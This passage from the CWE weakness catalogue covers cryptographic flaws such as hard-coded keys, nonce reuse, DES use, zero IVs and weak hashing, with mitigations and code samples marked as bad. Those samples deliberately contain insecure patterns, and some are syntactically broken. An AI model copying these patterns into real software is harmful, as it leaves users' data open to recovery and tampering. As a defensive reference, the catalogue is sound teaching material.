*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
ChildOf		311	Missing Encryption of Sensitive Data	651

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

**Paradigm** : Mobile (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity	Read Application Data	
Confidentiality	Modify Files or Directories	
<i>Anyone can read the information by gaining access to the channel being used for communication.</i>		

### Detection Methods

#### Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process, trigger the feature that sends the data, and look for the presence or absence of common cryptographic functions in the call tree. Monitor the network and determine if the data packets contain readable commands. Tools exist for detecting if certain encodings are in use. If the traffic contains high entropy, this might indicate the usage of encryption.

### Potential Mitigations

#### Phase: Architecture and Design

Encrypt the data with a reliable encryption scheme before transmitting.

#### Phase: Implementation

When using web applications with SSL, use SSL for the entire session from login to logout, not just for the initial login page.

#### Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Phase: Operation**

Configure servers to use encrypted channels for communication, which may include SSL or other secure protocols.

**Demonstrative Examples****Example 1:**

The following code attempts to establish a connection to a site to communicate sensitive information.

Example Language: Java

(bad)

```
try {URL u = new URL("http://www.secret.example.org/");HttpURLConnection hu = (HttpURLConnection)
u.openConnection();hu.setRequestMethod("PUT");hu.connect();OutputStream os =
hu.getOutputStream();hu.disconnect();catch (IOException e) { //... }
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

**Observed Examples**

Reference	Description
<b>CVE-2002-1949</b>	Passwords transmitted in cleartext. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1949">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1949</a>

## CWE-321: Use of Hard-coded Cryptographic Key

**Weakness ID** : 321

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	<b>B</b>	798	Use of Hard-coded Credentials	1388
PeerOf	<b>B</b>	259	Use of Hard-coded Password	542
CanFollow	<b>B</b>	656	Reliance on Security Through Obscurity	1204

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	320	Key Management Errors	1543
ChildOf	<b>B</b>	798	Use of Hard-coded Credentials	1388

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>If hard-coded cryptographic keys are used, it is almost certain that malicious users will gain access through the account in question.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Prevention schemes mirror that of hard-coded password storage.

### Demonstrative Examples

#### Example 1:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

*Example Language: C*

*(bad)*

```
int VerifyAdmin(char *password) { if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) { printf("Incorrect Password!\n");return(0); }printf("Entering Diagnostic Mode...\n");return(1); }
```

*Example Language: Java*

*(bad)*

```
public boolean VerifyAdmin(String password) {if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {System.out.println("Entering Diagnostic Mode...");return true;}System.out.println("Incorrect Password!");return false;}
```

*Example Language: C#*

*(bad)*

```
int VerifyAdmin(String password) {if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {Console.WriteLine("Entering Diagnostic Mode...");return(1);}Console.WriteLine("Incorrect Password!");return(0);}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	629	1561
MemberOf	<b>C</b>	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1561
MemberOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	711	1566
MemberOf	<b>C</b>	950	SFP Secondary Cluster: Hardcoded Sensitive Data	888	1623

### Notes

#### Other

The main difference between the use of hard-coded passwords and the use of hard-coded cryptographic keys is the false sense of security that the former conveys. Many people believe that simply hashing a hard-coded password before storage will protect the information from malicious users. However, many hashes are reversible (or at least vulnerable to brute force attacks) -- and further, many authentication protocols simply request the hash itself, making it no better than a password.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Use of hard-coded cryptographic key
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage

OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
Software Fault Patterns	SFP33		Hardcoded sensitive data

## CWE-322: Key Exchange without Entity Authentication

**Weakness ID :** 322

**Status:** Draft

**Structure :** Simple

**Abstraction :** Base

### Description

The software performs a key exchange with an actor without verifying the identity of that actor.

### Extended Description

Performing a key exchange will preserve the integrity of the information sent between two entities, but this will not guarantee that the entities are who they claim they are. This may enable a set of "man-in-the-middle" attacks. Typically, this involves a victim client that contacts a malicious server that is impersonating a trusted server. If the client skips authentication or ignores an authentication failure, the malicious server may request authentication information from the user. The malicious server can then use this authentication information to log in to the trusted server using the victim's credentials, sniff traffic between the victim and trusted server, etc.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		923	Improper Restriction of Communication Channel to Intended Endpoints	1494
PeerOf		295	Improper Certificate Validation	616
PeerOf		295	Improper Certificate Validation	616

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	1650

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		320	Key Management Errors	1543

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>No authentication takes place in this process, bypassing an assumed protection of encryption.</i>	
Confidentiality	Read Application Data <i>The encrypted communication between a user and a trusted host may be subject to a "man-in-the-middle" sniffing attack.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Ensure that proper authentication is included in the system design.

#### Phase: Implementation

Understand and properly implement all checks necessary to ensure the identity of entities involved in encrypted communications.

### Demonstrative Examples

#### Example 1:

Many systems have used Diffie-Hellman key exchange without authenticating the entities exchanging keys, leading to man-in-the-middle attacks. Many people using SSL/TLS skip the authentication (often unknowingly).

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

## CWE-323: Reusing a Nonce, Key Pair in Encryption

<b>Weakness ID</b> : 323	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

Nonces should be used for the present occasion and only once.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	720

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	320	Key Management Errors	1543

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

Nonces are often bundled with a key in a communication exchange to produce a new session key for each exchange.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	Potentially a replay attack, in which an attacker could send the same data twice, could be crafted if nonces are allowed to be reused. This could allow a user to send a message which masquerades as a valid message from a valid user.	

## Potential Mitigations

### Phase: Implementation

Refuse to reuse nonce values.

### Phase: Implementation

Use techniques such as requiring incrementing, time based and/or challenge response to assure uniqueness of nonces.

## Demonstrative Examples

### Example 1:

This code takes a password, concatenates it with a nonce, then encrypts it before sending over a network:

Example Language: C

(bad)

```
void encryptAndSendPassword(char *password){char *nonce = "bad";...char *data = (unsigned char*)malloc(20);int para_size = strlen(nonce) + strlen(password);char *paragraph = (char*)malloc(para_size);SHA1((const unsigned char*)paragraph,parsize,(unsigned char*)data);sendEncryptedData(data)}
```

Because the nonce used is always the same, an attacker can impersonate a trusted party by intercepting and resending the encrypted password. This attack avoids the need to learn the unencrypted password.

### Example 2:

This code sends a command to a remote server, using an encrypted password and nonce to prove the command is from a trusted party:

Example Language: C++

(bad)

```
String command = new String("some command to execute");MessageDigest nonce = MessageDigest.getInstance("SHA");nonce.update(String.valueOf("bad nonce"));byte[] nonce = nonce.digest();MessageDigest password = MessageDigest.getInstance("SHA");password.update(nonce + "secretPassword");byte[] digest = password.digest();sendCommand(digest, command)
```

Once again the nonce used is always the same. An attacker may be able to replay previous legitimate commands or execute new arbitrary commands.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	1681
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1626

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Reusing a nonce, key pair in encryption

## CWE-324: Use of a Key Past its Expiration Date

**Weakness ID** : 324

**Status**: Draft

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.

### Extended Description

While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		672	Operation on a Resource after Expiration or Release	1228
PeerOf		298	Improper Validation of Certificate Expiration	626
PeerOf		262	Not Using Password Aging	550

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		320	Key Management Errors	1543

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Low

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity  <i>The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.

## Demonstrative Examples

### Example 1:

The following code attempts to verify that a certificate is valid.

Example Language: C

(bad)

```
if (cert = SSL_get_peer_certificate(ssl)) { foo=SSL_get_verify_result(ssl);if ((X509_V_OK==foo) ||
(X509_V_ERRCERT_NOT_YET_VALID==foo)) //do stuff }
```

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	959	SFP Secondary Cluster: Weak Cryptography	888	1626

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using a key past its expiration date

## CWE-325: Missing Required Cryptographic Step

<b>Weakness ID</b> : 325	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

## Extended Description

Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	573	Improper Following of Specification by Caller	1079
PeerOf	B	358	Improperly Implemented Security Check for Standard	747

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	<b>C</b>	310	Cryptographic Issues	1543

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism  <i>If the cryptographic algorithm is used for authentication and authorization, then an attacker could gain unauthorized access to the system.</i>	
Confidentiality Integrity	Read Application Data Modify Application Data  <i>Sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</i>	
Accountability Non-Repudiation	Hide Activities  <i>If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.</i>	

### Observed Examples

68	Subvert Code-signing Facilities

## CWE-326: Inadequate Encryption Strength

**Weakness ID** : 326

**Status**: Draft

**Structure** : Simple

**Abstraction** : Class

### Description

The software stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required.

### Extended Description

A weak encryption scheme can be subjected to brute force attacks that have a reasonable chance of succeeding using current attack methods and resources.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**CWE-327: Use of a Broken or Risky Cryptographic Algorithm****Weakness ID** : 327**Status**: Draft**Structure** : Simple**Abstraction** : Base**Description**

The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

**Extended Description**

The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken. Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data <i>The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</i>	
Integrity	Modify Application Data <i>The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.</i>	
Accountability Non-Repudiation	Hide Activities <i>If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.</i>	

### Detection Methods

#### Automated Analysis

Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.

*Effectiveness = Moderate*

*False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.*

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

### Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis Binary / Bytecode simple extractor – strings, ELF readers, etc.

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Web Application Scanner Web Services Scanner Database Scanners

*Effectiveness = SOAR Partial*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Man-in-the-middle attack tool Cost effective for partial coverage: Framework-based Fuzzer Automated Monitored Execution Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

*Effectiveness = High*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

*Effectiveness = SOAR Partial*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis. For example, US government systems require FIPS 140-2 certification. Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak. Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [REF-267]

### Phase: Architecture and Design

Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

### Phase: Architecture and Design

Carefully manage and protect cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography itself is irrelevant.

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

### Phase: Implementation

### Phase: Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

## Demonstrative Examples

### Example 1:

These code examples use the Data Encryption Standard (DES).

*Example Language: C*

*(bad)*

```
EVP_des_ecb();
```

*Example Language: Java*

*(bad)*

```
Cipher des=Cipher.getInstance("DES...");des.initEncrypt(key2);
```

*Example Language: PHP*

*(bad)*

```
function encryptPassword($password){$iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);$iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);$key = "This is a password encryption key";$encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);return $encryptedPassword;}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

### Observed Examples

Reference	Description
<b>CVE-2008-3775</b>	Product uses "ROT-25" to obfuscate the password in the registry. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3775">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3775</a>

## CWE-328: Reversible One-Way Hash

**Weakness ID** : 328  
**Structure** : Simple  
**Abstraction** : Base

**Status**: Draft

### Description

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

### Extended Description

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		326	Inadequate Encryption Strength	682
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	684

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1013	Encrypt Data	1654

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		310	Cryptographic Issues	1543

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism	

### Potential Mitigations

#### Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use. Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead. Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

Example Language: C

(bad)

```
unsigned char *check_passwd(char *plaintext) {cctx = simple_digest("sha1",plaintext,strlen(plaintext), ...); //Login if hash matches stored hash if (equal(cctx, secret_password())) {login_user();}}
```

Example Language: Java

(bad)

```
String plainText = new String(plainTextIn);MessageDigest encer = MessageDigest.getInstance("SHA");encer.update(plainTextIn);byte[] digest = password.digest(); //Login if hash matches stored hash if (equal(digest,secret_password())) {login_user();}
```

This code uses the SHA-1 hash on user passwords, but the SHA-1 algorithm is no longer considered secure. Note this code also exhibits CWE-759 (Use of a One-Way Hash without a Salt).

## Observed Examples

Reference	Description
<b>CVE-2006-4068</b>	Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks. <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4068">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4068</a>

## CWE-329: Not Using a Random IV with CBC Mode

**Weakness ID** : 329

**Status**: Draft

**Structure** : Simple

**Abstraction** : Variant

### Description

Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		573	Improper Following of Specification by Caller	1079
ChildOf		330	Use of Insufficiently Random Values	693

*Relevant to the view "Development Concepts" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		310	Cryptographic Issues	1543

### Applicable Platforms

**Language** : Language-Independent (*Prevalence = Undetermined*)

### Background Details

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	
Other	Other	

Scope	Impact	Likelihood
	<i>If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.</i>	
Integrity	Modify Application Data  <i>If the CBC is not properly initialized, encrypted data could be tampered with in transfer.</i>	
Access Control Other	Bypass Protection Mechanism Other  <i>Cryptographic based authentication systems could be defeated.</i>	

## Potential Mitigations

### Phase: Implementation

It is important to properly initialize CBC operating block ciphers or their utility is lost.

## Demonstrative Examples

### Example 1:

In the following examples, CBC mode is used when encrypting data:

Example Language: C

(bad)

```
EVP_CIPHER_CTX ctx;char key[EVP_MAX_KEY_LENGTH];char iv[EVP_MAX_IV_LENGTH];RAND_bytes(key,
b);memset(iv,0,EVP_MAX_IV_LENGTH);EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Example Language: Java

(bad)

```
public class SymmetricCipherTest { public static void main() { byte[] text ="Secret".getBytes();byte[] iv
={0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};KeyGenerator kg = KeyGenerator.getInstance("DES");kg.init(56);SecretKey
key = kg.generateKey();Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");IvParameterSpec ips = new
IvParameterSpec(iv);cipher.init(Cipher.ENCRYPT_MODE, key, ips);return cipher.doFinal(inpBytes); } }
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

## Functional Areas

- Cryptography

## CWE-330: Use of Insufficiently Random Values

Weakness ID : 330

Status: Usable

Structure : Simple

Abstraction : Class

## Description

The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.

## Extended Description

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

ParentOf	<b>B</b>	804	Guessable CAPTCHA	1396

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Language-Independent (*Prevalence = Undetermined*)

### Background Details

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Other	Other	
	<i>When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.</i>	
Access Control	Bypass Protection Mechanism Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	<p>When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.</p>	

## Detection Methods

### Black Box

